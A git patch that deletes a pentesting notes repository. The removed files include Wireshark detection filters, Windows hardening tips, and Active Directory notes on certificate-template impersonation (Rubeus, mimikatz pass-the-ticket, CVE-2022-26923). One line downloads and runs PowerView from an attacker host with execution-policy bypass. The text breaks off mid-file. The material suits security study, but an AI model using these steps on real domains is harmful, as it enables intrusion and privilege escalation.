From b4524785b76bf51e2657e54ee9afdb2136e41502 Mon Sep 17 00:00:00 2001 From: whx Date: Sun, 13 Nov 2022 16:02:41 +0100 Subject: [PATCH] cleanup --- .gitmodules | 12 - misc/BPF Filter.md | 333 ----- misc/Blue Teaming/windows-hardening.md | 88 -- misc/Diamond Model.md | 62 - misc/Killchains.md | 65 - misc/PowerSploit | 1 - misc/active_directory/AD_CS.md | 82 -- misc/active_directory/active_directory.md | 186 --- misc/active_directory/ad_enumeration.md | 117 -- misc/active_directory/ad_misconfiguration.md | 183 --- misc/active_directory/ad_persistence.md | 198 --- misc/active_directory/gaining_foothold_AD.md | 116 -- misc/active_directory/lateral_movement.md | 264 ---- misc/active_directory/powerview.ps1 | 207 --- misc/bash.md | 3 - misc/clamav.md | 23 - misc/gitTools.md | 11 - misc/hadoop.md | 57 - misc/metasploit.md | 95 -- misc/nishang | 1 - misc/printer_hacking/PRET | 1 - misc/printer_hacking/preta.md | 4 - misc/responder.md | 21 - misc/sandbox_evasion.md | 42 - misc/smtp.md | 3 - misc/snort.md | 142 -- misc/static-binaries | 1 - misc/telecommunications/sipvicious.md | 7 - .../.github/ISSUE_TEMPLATE/bug-report.md | 37 - .../.github/ISSUE_TEMPLATE/custom.md | 10 - .../.github/workflows/auto-test.yml | 43 - .../.github/workflows/python-app.yml | 36 - .../.github/workflows/python-package.yml | 39 - .../.github/workflows/python-publish.yml | 33 - misc/telecommunications/sipvicious/.gitignore | 18 - misc/telecommunications/sipvicious/Changelog | 192 --- misc/telecommunications/sipvicious/LICENSE | 16 - .../telecommunications/sipvicious/MANIFEST.in | 2 - misc/telecommunications/sipvicious/README.md | 77 -- misc/telecommunications/sipvicious/THANKS | 13 - misc/telecommunications/sipvicious/TODO | 2 - .../sipvicious/autotest/common.sh | 5 - .../sipvicious/autotest/svcrack.sh | 35 - .../sipvicious/autotest/svmap.sh | 42 - .../sipvicious/autotest/svwar.sh | 29 - .../sipvicious/man1/svcrack.1 | 135 -- .../sipvicious/man1/svcrash.1 | 49 - .../sipvicious/man1/svmap.1 | 140 -- .../sipvicious/man1/svreport.1 | 94 -- .../sipvicious/man1/svwar.1 | 131 -- .../sipvicious/resources/sv.xsl | 61 - misc/telecommunications/sipvicious/setup.py | 85 -- .../sipvicious/sipvicious/__init__.py | 0 .../sipvicious/sipvicious/libs/__init__.py | 0 .../sipvicious/sipvicious/libs/pptable.py | 202 --- .../sipvicious/sipvicious/libs/svhelper.py | 1170 ----------------- .../sipvicious/sipvicious/svcrack.py | 640 --------- .../sipvicious/sipvicious/svcrash.py | 197 --- .../sipvicious/sipvicious/svmap.py | 589 --------- .../sipvicious/sipvicious/svreport.py | 247 ---- .../sipvicious/sipvicious/svwar.py | 746 ----------- misc/threat_intelligence/isac.md | 47 - misc/threat_intelligence/loki.md | 1 - misc/threat_intelligence/osquery.md | 88 -- misc/threat_intelligence/pithus.md | 3 - misc/threat_intelligence/siem.md | 30 - misc/threat_intelligence/splunk.md | 77 -- misc/threat_intelligence/yara.md | 40 - misc/wifi/airmon-ng.md | 20 - misc/win32.md | 42 - reverse shells/One-Lin3r | 1 - reverse shells/docs/evil-winrm.md | 33 - reverse shells/docs/msfconsole.md | 12 - reverse shells/docs/msfvenom.md | 97 -- reverse shells/docs/netcat.md | 28 - reverse shells/docs/powershell.md | 10 - reverse shells/docs/shell_upgrade.md | 52 - reverse shells/docs/socat.md | 54 - reverse shells/docs/webshell.md | 13 - reverse shells/firewalls.md | 99 -- reverse shells/ncat.exe | Bin 2332672 -> 0 bytes reverse shells/node_shell.py | 129 -- reverse shells/pentest_monkey | 192 --- reverse shells/php-reverse-shell | 1 - reverse shells/php_bind_shell | 138 -- reverse shells/phpreverseshell | 1 - reverse shells/socat_static | Bin 375176 -> 0 bytes reverse shells/sock_shell.py | 10 - reverse shells/windows/evil-winrm | 1 - 89 files changed, 8659 deletions(-) delete mode 100644 misc/BPF Filter.md delete mode 100644 misc/Blue Teaming/windows-hardening.md delete mode 100644 misc/Diamond Model.md delete mode 100644 misc/Killchains.md delete mode 160000 misc/PowerSploit delete mode 100644 misc/active_directory/AD_CS.md delete mode 100644 misc/active_directory/active_directory.md delete mode 100644 misc/active_directory/ad_enumeration.md delete mode 100644 misc/active_directory/ad_misconfiguration.md delete mode 100644 misc/active_directory/ad_persistence.md delete mode 100644 misc/active_directory/gaining_foothold_AD.md delete mode 100644 misc/active_directory/lateral_movement.md delete mode 100644 misc/active_directory/powerview.ps1 delete mode 100644 misc/bash.md delete mode 100644 misc/clamav.md delete mode 100644 misc/gitTools.md delete mode 100644 misc/hadoop.md delete mode 100644 misc/metasploit.md delete mode 160000 misc/nishang delete mode 160000 misc/printer_hacking/PRET delete mode 100644 misc/printer_hacking/preta.md delete mode 100644 misc/responder.md delete mode 100644 misc/sandbox_evasion.md delete mode 100644 misc/smtp.md delete mode 100644 misc/snort.md delete mode 160000 misc/static-binaries delete mode 100644 misc/telecommunications/sipvicious.md delete mode 100644 misc/telecommunications/sipvicious/.github/ISSUE_TEMPLATE/bug-report.md delete mode 100644 misc/telecommunications/sipvicious/.github/ISSUE_TEMPLATE/custom.md delete mode 100644 misc/telecommunications/sipvicious/.github/workflows/auto-test.yml delete mode 100644 misc/telecommunications/sipvicious/.github/workflows/python-app.yml delete mode 100644 misc/telecommunications/sipvicious/.github/workflows/python-package.yml delete mode 100644 misc/telecommunications/sipvicious/.github/workflows/python-publish.yml delete mode 100644 misc/telecommunications/sipvicious/.gitignore delete mode 100644 misc/telecommunications/sipvicious/Changelog delete mode 100644 misc/telecommunications/sipvicious/LICENSE delete mode 100644 misc/telecommunications/sipvicious/MANIFEST.in delete mode 100644 misc/telecommunications/sipvicious/README.md delete mode 100644 misc/telecommunications/sipvicious/THANKS delete mode 100644 misc/telecommunications/sipvicious/TODO delete mode 100644 misc/telecommunications/sipvicious/autotest/common.sh delete mode 100755 misc/telecommunications/sipvicious/autotest/svcrack.sh delete mode 100755 misc/telecommunications/sipvicious/autotest/svmap.sh delete mode 100755 misc/telecommunications/sipvicious/autotest/svwar.sh delete mode 100644 misc/telecommunications/sipvicious/man1/svcrack.1 delete mode 100644 misc/telecommunications/sipvicious/man1/svcrash.1 delete mode 100644 misc/telecommunications/sipvicious/man1/svmap.1 delete mode 100644 misc/telecommunications/sipvicious/man1/svreport.1 delete mode 100644 misc/telecommunications/sipvicious/man1/svwar.1 delete mode 100644 misc/telecommunications/sipvicious/resources/sv.xsl delete mode 100644 misc/telecommunications/sipvicious/setup.py delete mode 100644 misc/telecommunications/sipvicious/sipvicious/__init__.py delete mode 100644 misc/telecommunications/sipvicious/sipvicious/libs/__init__.py delete mode 100644 misc/telecommunications/sipvicious/sipvicious/libs/pptable.py delete mode 100644 misc/telecommunications/sipvicious/sipvicious/libs/svhelper.py delete mode 100755 misc/telecommunications/sipvicious/sipvicious/svcrack.py delete mode 100755 misc/telecommunications/sipvicious/sipvicious/svcrash.py delete mode 100755 misc/telecommunications/sipvicious/sipvicious/svmap.py delete mode 100755 misc/telecommunications/sipvicious/sipvicious/svreport.py delete mode 100755 misc/telecommunications/sipvicious/sipvicious/svwar.py delete mode 100644 misc/threat_intelligence/isac.md delete mode 100644 misc/threat_intelligence/loki.md delete mode 100644 misc/threat_intelligence/osquery.md delete mode 100644 misc/threat_intelligence/pithus.md delete mode 100644 misc/threat_intelligence/siem.md delete mode 100644 misc/threat_intelligence/splunk.md delete mode 100644 misc/threat_intelligence/yara.md delete mode 100644 misc/wifi/airmon-ng.md delete mode 100644 misc/win32.md delete mode 160000 reverse shells/One-Lin3r delete mode 100644 reverse shells/docs/evil-winrm.md delete mode 100644 reverse shells/docs/msfconsole.md delete mode 100644 reverse shells/docs/msfvenom.md delete mode 100644 reverse shells/docs/netcat.md delete mode 100644 reverse shells/docs/powershell.md delete mode 100644 reverse shells/docs/shell_upgrade.md delete mode 100644 reverse shells/docs/socat.md delete mode 100644 reverse shells/docs/webshell.md delete mode 100644 reverse shells/firewalls.md delete mode 100644 reverse shells/ncat.exe delete mode 100644 reverse shells/node_shell.py delete mode 100644 reverse shells/pentest_monkey delete mode 160000 reverse shells/php-reverse-shell delete mode 100644 reverse shells/php_bind_shell delete mode 160000 reverse shells/phpreverseshell delete mode 100644 reverse shells/socat_static delete mode 100644 reverse shells/sock_shell.py delete mode 160000 reverse shells/windows/evil-winrm diff --git a/.gitmodules b/.gitmodules index 7e2353a..d9903ac 100644 --- a/.gitmodules +++ b/.gitmodules @@ -34,9 +34,6 @@ [submodule "enumeration/priv_esc/deepce"] path = enumeration/priv_esc/deepce url = https://github.com/stealthcopter/deepce.git -[submodule "misc/PowerSploit"] - path = misc/PowerSploit - url = https://github.com/PowerShellMafia/PowerSploit.git [submodule "exploit/web/content_security_policy/JSONBee"] path = exploit/web/content_security_policy/JSONBee url = https://github.com/zigoo0/JSONBee.git @@ -91,9 +88,6 @@ [submodule "exploit/java/log4j-scan"] path = exploit/java/log4j-scan url = https://github.com/fullhunt/log4j-scan.git -[submodule "misc/static-binaries"] - path = misc/static-binaries - url = https://github.com/andrew-d/static-binaries.git [submodule "exploit/windows/printspoofer"] path = exploit/windows/printspoofer url = https://github.com/dievus/printspoofer.git @@ -154,12 +148,6 @@ [submodule "exploit/GitTools"] path = exploit/GitTools url = https://github.com/internetwache/GitTools -[submodule "misc/nishang"] - path = misc/nishang - url = https://github.com/samratashok/nishang.git -[submodule "misc/printer_hacking/PRET"] - path = misc/printer_hacking/PRET - url = https://github.com/RUB-NDS/PRET.git [submodule "misc/level3_hypervisor/docker_sec/dive"] path = misc/level3_hypervisor/docker_sec/dive url = https://github.com/wagoodman/dive.git diff --git a/misc/BPF Filter.md b/misc/BPF Filter.md deleted file mode 100644 index 72897ed..0000000 --- a/misc/BPF Filter.md +++ /dev/null @@ -1,333 +0,0 @@ -# Wireshark BPF Filters - -* This is a collection of bpf and wireshark filters to find specific network situations. - -## TCP Scans - -* Recognize nmap scans in traffic - -### TCP Connect Scan - -* Has a TCP window size larger than 1024 bytes - -Open TCP Port looks like - -```sh -SYN --> -<-- SYN, ACK -ACK --> -``` - -or - -```sh -SYN --> -<-- SYN,ACK -ACK --> -RST, ACK --> -``` - -Closed TCP Port - -```sh -SYN --> -<-- RST, ACK -``` - -* Find TCP Connect scan pattern -```bpf -tcp.flags.syn == 1 && tcp.flags.ack == 0 && tcp.window_size > 1024 -``` - -### TCP Half Open SYN Scan - -* Lower or equal to 1024 bytes windows size - -Open TCP Port looks like - -```sh -SYN --> -<-- SYN, ACK -RST --> -``` - -Closed TCP Port looks like - -```sh -SYN --> -<-- RST, ACK -``` - -* Find half open SYN scan pattern -```bpf -tcp.flags.syn == 1 && tcp.flags.ack == 0 && tcp.window_size <=1024 -``` - -## UDP Scans - -Open UDP Port looks like - -```sh -UDP packet --> -``` - -A closed UDP port is recognizable by an ICMP Type 3 reply - -```sh -UDP packet --> -<-- ICMP Type 3 -``` - -* Find UDP scan pattern with closed ports as a reply -```bpf -icmp.type==3 and icmp.code==3 -``` - -## ARP - -* Find ARP requests -```bpf -arp.opcode == 1 -``` - -* Find ARP responses -```bpf -arp.opcode == 2 -``` - -* Find MAC address -```sh -arp.dst.hw_mac == 00:00:DE:AD:BA:BE -``` - -* Detect ARP Poisoning -```bpf -arp.duplicate-address-detected or arp.duplicate-address-frame -``` - -* Detect ARP Flooding -```bpf -((arp) && (arp.opcode == 1)) && (arp.src.hw_mac == ) -``` - -## DHCP Analysis - -* `dns` or `bootp` - -* DHCP Request -```sh -dhcp.option.dhcp == 3 -``` - -* DHCP ACK -```sh - dhcp.option == 5 -``` - - -* DHCP NAK -```sh -dhcp.option == 6 -``` - -* Other DHCP options - * 12 Hostname. - * 15 domain name - * 51 Requested IP lease time. - * 61 Client's MAC address - * 50 Requested IP address. - * 51 assigned IP lease time - * 56 Message rejection details - -## NetBIOS - -* `nbns` -* NetBIOS details are the interesting info, for example -```sh -nbns.name contains "foo" -``` - -## Kerberos - -* `kerberos` - -* Search for cname information -```sh -kerberos.CNameString contains "foo" -``` - -* Find machine hostnames -```sh -kerberos.CNameString and !(kerberos.CNameString contains "$") -``` - -* Find Kerberos protocol version -```sh -kerberos.pvno == 5 -``` - -* Domain name for a created Kerberos ticket -```sh -kerberos.realm contains ".foo" -``` - -* Service and domain name for the created Kerberos ticket -```sh -kerberos.SNnameString == "krbtg" -``` - -## Tunneled Traffic - -### ICMP Exfiltration - -* `icmp` -* Check for destination, packet length or encapsulated protocols -```sh -icmp && data.len > 64 -``` - -### DNS Exfiltration - -* `dns` -* Check for query length, unusual, encoded or long DNS address name queries -* Check for dnscat and dns2tcp or high frequency of DNS queries -```sh -dns contains "dns2tcp" -dns contains "dnscat" -dns.qry.name.len > 15 !mdns -``` - -## FTP Traffic - -```sh -ftp.response.code == 211 -``` -* FTP response codes - * __211__, System status - * __212__, Directory status - * __213__, File status - * __220__, Service ready - * __227__, Entering passive mode - * __228__, Long passive mode - * __229__, Extended passive mode - * __230__, User login - * __231__, User logout - * __331__, Valid username - * __430__, Invalid username or password - * __530__, No login, invalid password - -* Some FTP commands - * __USER__, Username - * __PASS__, Password - * __CWD__, Current work directory - * __LIST__, List - -* FTP Commands can be found via -```sh -ftp.request.command == "USER" -ftp.request.arg == "password" -``` - -* __Bruteforce signal__, list failed login attempts -```sh -ftp.response.code == 530 -``` - -* __Bruteforce signal__, List target username -```sh -(ftp.response.code == 530) && (ftp.response.arg contains "username") -``` - -* __Password spray signal__, List targets for a static password -```sh -(ftp.request.command == "PASS") && (ftp.request.arg == "password") -``` - -## HTTP - -* `http` or `http2` -* HTTP methods can be searched for -```sh -http.request.method == "GET" -http.request -``` - -* HTTP response codes - * __200__, OK - * __301__, Moved Permanently - * __302__, Moved Temporarily - * __400__, Bad Request - * __401__, Unauthorised - * __403__, Forbidden - * __404__, Not Found - * __405__, Method Not Allowed - * __408__, Request Timeout - * __500__, Internal Server Error - * __503__, Service Unavailable -```sh -http.response.code == 200 -``` - -* HTTP header parameters -```sh -http.user_agent contains "nmap" -http.request.uri contains "foo" -http.request.full_uri contains "foo" -``` - -* Other HTTP header parameters - * __Server__: Server service name - * __Host__: Hostname of the server - * __Connection__: Connection status - * __Line-based text data__: Cleartext data provided by the server -```sh -http.server contains "apache" -http.host contains "keyword" -http.host == "keyword" -http.connection == "Keep-Alive" -data-text-lines contains "keyword" -``` - -* HTTP User Agent and the usual tools to find -```sh -http.user_agent -(http.user_agent contains "sqlmap") or (http.user_agent contains "Nmap") or (http.user_agent contains "Wfuzz") or (http.user_agent contains "Nikto") -``` - -### HTTP and Log4j - -```sh -http.request.method == "POST" -(ip contains "jndi") or ( ip contains "Exploit") -(frame contains "jndi") or ( frame contains "Exploit") -(http.user_agent contains "$") or (http.user_agent contains "==") -``` - -## HTTPS - -* __Client Hello__, (http.request or tls.handshake.type == 1) && !(ssdp) -* __Server Hello__,(http.request or tls.handshake.type == 2) && !(ssdp) - -* Put in pre-shared key via `Edit --> Preferences --> Protocols --> TLS` -* __Get the pre-shared key via__ -```sh -ip xfrm state -``` -* Alternatively use a Pre-Master-Secret log file to decode TLS - - -## Plain Text Credentials - -`Tools` -> `Credentials` shows all the plain text credentials inside the pcap file - -## Firewall ACLs Rules - -Create FW ACL rules via `Tools` -> `Firewall ACL Rules`. Rule can be created for -* iptables -* IOS -* ipfilter -* ipfw -* pf -* netsh - - diff --git a/misc/Blue Teaming/windows-hardening.md b/misc/Blue Teaming/windows-hardening.md deleted file mode 100644 index b4ec3dd..0000000 --- a/misc/Blue Teaming/windows-hardening.md +++ /dev/null @@ -1,88 +0,0 @@ -# Windows hardening - -## UAC Sharpening - -* Control Panel -> User Accounts -> Change User Account Control Setting -> Set to "Always Notify" - -## User and Group Policy - -* Local Group Policy Editor - -## Password Policy - -* Security Settings -> Account Policies -> Password policy -* Local Security Policy -> Windows Settings -> Account Policies -> Account Lockout Policy - -## Windows Defender - -### Antivirus - -* Check excluded file endings: Settings -> Windows Security -> Virus & Threat Protection -> Virus & threat protection settings -> Manage Settings -> Exclusions -> Add or remove exclusions - -### Firewall - -* wf.msc -> Windows Defender Firewall Properties -> Public / Private Profile -> Inbound connections -> On -* wf.msc -> Windows Defender Firewall Properties -> Monitoring -> Check the active Profile - -## Network - -### Disable Unused Interfaces - -* Control Panel -> System and Security Setting -> System -> Device Manager - -### SMB - -* Disable SMB via Powershell -```sh -Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -``` - -### Hosts File - -* Check `C:\Windows\System32\Drivers\etc\hosts` for unwanted domain resolution - -### ARP - -* After potential ARP poisoning the cache can be deleted via `arp -d` - -### RDP - -* Settings -> Windows Security Settings -> For developers -> Remote Desktop -> Show settings -> Don't allow remote connections to this computer - -## Third Pary Applications - -### Signed Software Only -* Settings -> Select Apps and Features -> Choose where to get apps -> The Microsoft Store only - -### Applocker - -* Local Group Policy Editor -> Windows Settings -> Security Settings -> Application Control Policies -> AppLocker - -## Web Browsing - -### Edge - -* Settings -> Windows Security -> App and Browser Control -> Reputation-based Protection -> SmartScreen for Microsoft Edge -> On -* Edge -> `edge://settings/privacy` -> Privacy, Search and Services -> Tracking Prevention -> Strict - -## Encryption - -### BitLocker - -* Control Panel -> System and Security -> BitLocker Drive Encryption -> Turn on BitLocker - -## Sandbox - -* Settings -> Windows Features -> Windows Sandbox -> OK - -## Secure Boot - -* Check status under: msinfo32 -> System Summary -> BIOS Mode / Secure Boot State - -## Backups - -* Settings -> Update & Security -> Backup -> Backup using File History - - - - diff --git a/misc/Diamond Model.md b/misc/Diamond Model.md deleted file mode 100644 index 926f134..0000000 --- a/misc/Diamond Model.md +++ /dev/null @@ -1,62 +0,0 @@ -# Diamond Model - -* [Socinvestigation's article](https://www.socinvestigation.com/threat-intelligence-diamond-model-of-intrusion-analysis/) - -## Adversary - -Any actor utilizing capability against the victim to achieve a goal - -## Capability - -Describes TTPs used in the attack. Every capability has a capacity. Adversary Arsenal is the overall capacity of an attacker's capabilities. - -## Infrastructure - -Physical and logical communication structures the attacker uses to deliver a capability, C2, exfiltration. - -* Type 1: Belongs to the adversary -* Type 2: Is used by the adversary as a proxy from which the attack is send -* Other Service Providers: Any service used to reach the goal of an adversary - -## Victim - -The target the adversary exploits. May be a person or a technical system. - -## Meta Features - -### Timestamp - -* Events are logged with timestamps - -### Phase - -Events happen in succession of multiple steps. - -### Result - -Approximate or full goal of the adversary. - -### Methodology - -Malicious activities are categorized to differentiate the methods of attack - -### Resources - -All supporting elements an event depends on. -* Software -* Hardware -* Funds -* Facilities -* Access -* Knowledge -* Information - -### Technology and Direction - -Connects infrastructure and capabilities. - -### Socio-Political - -An existing relationshiop between the adversary and the victim - - diff --git a/misc/Killchains.md b/misc/Killchains.md deleted file mode 100644 index 2902c38..0000000 --- a/misc/Killchains.md +++ /dev/null @@ -1,65 +0,0 @@ -# Security Killchains - -Frameworks of killchains are inherited from the military and separate steps in which an attack occurs. - -## Lockheed & Martin - -* [Lockheed & Martin's Cyber Kill Chain Website](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html) - -1. Reconnaissance -2. Weaponization -3. Delivery -4. Exploitation -5. Installation -6. Command & Control -7. Actions on Objectives - -## Mitre ATT&CK Matrix - -[Mitre ATT&CK](https://attack.mitre.org) is a matrix of __Tactics, Techniques and Procedures (TTP)__ of adversaries called __Adanced Persistent Threats (APT)__. The tactics are - -1. Reconnaissance -2. Resource Development -3. Initial Access -4. Execution -5. Persistence -6. Privilege Escalation -7. Defense Evasion -8. Credential Access -9. Discovery -10. Lateral Movement -11. Collection -12. Command and Control -13. Exfiltration -14. Impact - -[Crowdstrike](https://crowdstrike.com) as a threat intelligence tool is built on the Mitre ATT&CK framework. - -## Unified Cyber Kill Chain - -[The Unified Cyber Kill Chain](https://unifiedkillchain.com) is the youngest and -most detailed framework and builds upon the other frameworks. It contains combined -stages which are seen as lifecycles with potentially repeatable steps. - -1. Reconnaissance -2. Weaponization -3. Delivery -4. Socical Engineering -5. Exploitation -6. Persistance -7. Defense Evation -8. Command & Control -9. Pivoting -10. Discovery -11. Privilege Escalation -12. Execution -13. Credential Access -14. Lateral Movement -15. Collection -16. Exfiltration -17. Impact -18. Objectives - -Mentioned lifecycles are __Inital Foothold__, __Network Propagation__ and -__Actions on Objective__ - diff --git a/misc/PowerSploit b/misc/PowerSploit deleted file mode 160000 index d943001..0000000 --- a/misc/PowerSploit +++ /dev/null @@ -1 +0,0 @@ -Subproject commit d943001a7defb5e0d1657085a77a0e78609be58f diff --git a/misc/active_directory/AD_CS.md b/misc/active_directory/AD_CS.md deleted file mode 100644 index 9e39e8c..0000000 --- a/misc/active_directory/AD_CS.md +++ /dev/null @@ -1,82 +0,0 @@ -## Active Directory Certificate Service ADCS - -* Internal CA -* PKI -* File system encryption -* Digital signatures -* User authentication - -* __Certificates will not be revoked after account password reset__ - -## Certificate Templates - -* Extended/Enhanced Key Usage (EKU) -* Parameter combination can be exploited -* User Certificates may be requested from a member of a Domain User Group -* Machine Certifcates may be requested from a host of a Domain Computer Group - -### Enumeration - -* [PSPKIAudit](https://github.com/GhostPack/PSPKIAudit) - -```sh -certutil -v -template > ct.txt -``` - -Exploitable templates should have the following traits: -* `Allow Enroll` or `Allow Full Control` permissions to request certificate - * Find groups by `net user /domain` --> `Domain Users`, `Domain Computers` -* Client authentication EKU for Kerberos authentication --> `Client Authentication` -* Permission to subject alternative name (SAN), e.g. URL to encrypt. Used to create Kerberos ticket, --> `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` - -### Certificate Creation - -* `Win+R` --> `mmc` --> `File` --> `Add/Remove Snap-in` --> `Certificates` (Request Certificate if administration account --> Computer Account) -* After that in the main menu, `Certificates` --> right click on `Personal` --> `All Tasks` --> `Request Certificates` --> `Next` --> `Next` --> `More information is required to enroll this certificate` --> `Common Name` --> `CN=concerto` && `User Principal Name` is the user to impersonate --> `OK` --> select `User Request` --> `Enroll` -* After that in the main menu, `Personal` --> `Certificates` --> __The certificate__ -* Right click certificate --> `All Tasks` --> `Export` --> `Yes, export private key` --> `PFX` --> set `Password` --> Save - -### Impersonation - -* Request TGT with the created cert -* Grab TGT - -* On the machine via -```sh -Rubeus.exe asktgt /user: /enctype:aes256 /certificate: /password: /outfile: /domain: /dc: -``` -* Select a domain admin via opening `Active Directory Users and Computers` -```sh -.\Rubeus.exe changepw /ticket: /new: /dc: /targetuser:\ -``` -* `runas /user:\ cmd.exe` - -* Alternatively, load the outfile of rubeus via mimikatz to authenticate as the impersonated user on a remote domain -```sh -privilege::debug -kerberos::ptt -exit -dir \\\$\ -``` - -## CVE-2022-26923 - -* Aims on abusing templates configuration, the Subject Alternative Name `SAN`. Set it to someone with higher permissions -* User and Machine certificate templates -* User Principal Name is used for `SAN`, this template can not be modified in a way to escalate privileges -* Computer accounts DNS name is used for `SAN` -* Users of the Authenticated Users Group can create 10 Machine Certificates -* __DNS hostname__ is used for authentication -* __Service Principal Names (SPN)__, associates a service logon with a service instance. SPNs are unique -* Permissions of interest, all two are needed - * Validate write to DNS hostname allows to update DNS hostname of AD object associated with the host - * Validate write to SPN, update SPN of the AD object associated with the host - -### Usage - -* User account has to be compromised, use it to enrol a new host on the domain -* Alter the DNS hostname attribute of the AD Object to one of a Domain Controller or other higher privilege -* Remove the SPN attribute to bypass the unique SPN -* With the default template request the machine cert -* authenticate via Kerberos with the template as the higher privileged machine - diff --git a/misc/active_directory/active_directory.md b/misc/active_directory/active_directory.md deleted file mode 100644 index a434dde..0000000 --- a/misc/active_directory/active_directory.md +++ /dev/null @@ -1,186 +0,0 @@ -# Active Directory Enumeration - -* Offers authentication in the form of centralized __IAM__ a.k.a __SSO__ and authentication via __Policy Management__ -* There are user accounts acting on machine accounts (services), in general - -* Consists of - * __Domain Controller__ - * __Organizational Units__, (security principals) can be common user or machine accounts - * Users - * Groups - * __Trusts__ - * __AD Domains__ - * __AD Forest__ - * __Policies__ - -* Administrative accounts are - * __Domain Admin__ - * __Enterprise Admin__ - * __Schema Admin__ - * __Server Operator__ - * __Account Operator__ - -## Domain Controller - -* AD Domain Services (AD DS) data store stores all objects on the network -* Authentication and authorization -* Update replication / sync with other domain controllers in the forest -* Administration of domain resources - -### AD DS Store - -* Database of directory info such as users, groups and services - * `ntdis.dit` contains the information, including password hashes - * `SystemRoot%\NTDS` - -### Forest - -Consists of the following objects - -* __Trees__, hierarchy of domains in the AD Domain Services -* __Domains__, groups of objects -* __Organizational Units (OU)__, containers of objects such as groups, users, printers and other resources -* __Trusts__, allows users to access resources in a different domain -* __Objects__ users, groups, printers, computers or shares -* __Domain Services__, DNS, LLMNR, SMB -* __Domain Schema__, Rules for object creation - -### Users - -* __Domain Admin__, DC access -* __Server Accounts__, service maintenance, may have admin permissions -* __Local Admin__, administrative persmission on an object but not the DC -* __Domain Users__, average user account on a local machine which may have admin permissions - -* __Machine users__, - * Machine accounts have local administrational permissions - * Can be recognized by a `$` at the end of the ID - * Their passwords are rotated on a schedule - * Passwords are 120 characters long per default - -### Security Groups - -Important groups are the following - -* __Domain Controllers__, every DC in the domain -* __Domain Admins__, dc access -* __Server Operators__, administration of domain controllers but not groups -* __Backup Operators__, full read access to any file -* __Account Operators__, able to provision accounts -* __Domain Users__, every user account in the domain -* __Domain Computers__, every machine account in the domain - -* [Security Groups doc](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups) - -### Policies - -* Rule sets -* Apply to a domain -* Enable or disables services on a domain basis, like antivirus and malware scanning - * __Disable Windows Defender__ - * Communication signing, e.g. SMB - -### Domain Services - -* __LDAP__ -* __Certificates__ handling for services, CRL -* __DNS, LLMNR, NBT-NS__ - -### Authentication - -* __NTLM__, ticket granting service -* __Kerberos__, challenge/response via hashes - - -## Enumration - -* Cmdlets on Domain Controller -* Get some help, `Get-Help Get-Command -Examples`, `Get-Command Get-*` - -* From `ActiveDirectory` module -```sh -Import-Module Active-Directory -Get-ADDomain | Select-Object NetBIOSName,DNSRoot,InfrastructureMaster -Get-ADForest | Select-Object Domains -Get-ADTrust -Filter * | Select-Object Direction,Source,Target -``` - -* `systeminfo | findstr Domain` -* `Get-ADUser -filter *` -* Use found CN and DC and specify -* `Get-ADUser -filter * -searchBase "CN=Users,DC=,DC="` - -### Powerview Module - -* [Powerview](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) -```sh -Import-Module .\PowerView.ps1 -Get-NetDomain -Get-NetDomainController -Get-NetForest -Get-NetDomainTrust -``` - -### DNS -* Check ip via `ipconfig` -* `nslookup`, then `server ` and zone transfer via -```sh -ls -d -``` - -### Tips & Tricks - -* Download and execute in one line -```sh -powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://%ATTACKER_IP%:8000/PowerVi -ew.ps1'); Get-NetUser | select samaccountname, description" -``` - -## Configuration - -### Configure Users and Groups - -* Use Start -> "Active Directory and Computers" to provision AD objects via __organizational units (OU)__ -* A set of users as a group with set policies are defined as __organizational unit (OU)__ -* A user is unique to a single OU - -* Default OUs are the following - * __Builtin__ - * __Users__, user accounts - * __Computers__, machine accounts - * __Domain Controllers__, contains DC in the domain - * __Managed Service Accounts__, service accounts in the domain - -* To __delete__ a OU use `View` -> `Advanced Features`. Properties menu of the OU via right click shows the checkbox `Protect object from accidental deletion` under `Object` tab -> uncheck it and delete the OU afterwards - -* To __delegate__ open properties with right click -> `Next` -> `Delegate Control` -> `Add` -> Choose user and OK -> `Next` -> Choose tasks to delegate -> `Next` -> `Finish` - -* To __change__ a user password via powershell -```sh -Set-ADAccountPassword -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose -``` -* To let the user __change__ the password at the next login -```sh -Set-ADUser -ChangePasswordAtLogon $true -Identity -Verbose -``` - -### Managing Machine Users - -* `Computer` OU should be split into at least `Workstations` and `Servers` - -### Group Policies - -* __Group Policy Objects__ are applied to OUs - -* Use the application `Group Policy Management` to apply policies to UOs -* GPOs under `Group Policy Objects` for the specific domain can be modified. These will be inherited to all UOs. You can see the links to the OUs on the right hand site if you click the GPO on the left -* Child OUs inherit the policies from parent UOs -* `Security Filters` can be set as well here -* The `Settings` tab of a policy shows its actual content -* Right click on a Policy -> `Edit` to change the content of the policy. There are templates for multiple common policies - -* `SYSVOL` as a SMB share is used to distribute the GPOs in the domain, it maps to `C:\Windows\SYSVOL\sysvol\` on the domain controller -* To force an update of changed policies across the domain do -```sh -gpupdate /force -``` diff --git a/misc/active_directory/ad_enumeration.md b/misc/active_directory/ad_enumeration.md deleted file mode 100644 index e2d88d5..0000000 --- a/misc/active_directory/ad_enumeration.md +++ /dev/null @@ -1,117 +0,0 @@ -# Enumerate Active Directory - -Enumeration following after initial credentials are gained - - -## SYSVOL - -* On windows use `runas` and gain local administrative permissions via -```sh -runas.exe /netonly /user:%FQDNORNETBIOSDOMAIN%\%USERNAME% cmd.exe -``` -* Check validity of credentials against `SYSVOL`, it stores __Group Policy Objects (GPO)__. Every AD account will gain access - * Query DNS, for example the DC -```sh -$dnsip = "" -$index = Get-NetAdapter -Name '' | Select-Object -ExpandProperty 'ifIndex' -Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip -``` - * Check `SYSVOL` afterwards via `hostname` to verify via Kerberos auth -```sh -dir \\%HOSTNAME%\SYSVOL\ -``` - * Check `SYSVOL` via `IP` address to force `NTLM` authentication - -## Microsoft Management Console (MMC) - -* Use AD Snap-ins of `Remote Server Administrative Tools` - * Start -> Apps & Features -> Manage Optional Features -> Add a feature -> Search `RSAT` -> Select `RSAT: Active Directory Domain Services and Lightweight Directory Tools` -> Install - * `Win` + `r` -> `MMC` -> File -> Add/Remove Snap-in -> add 3 AD feature 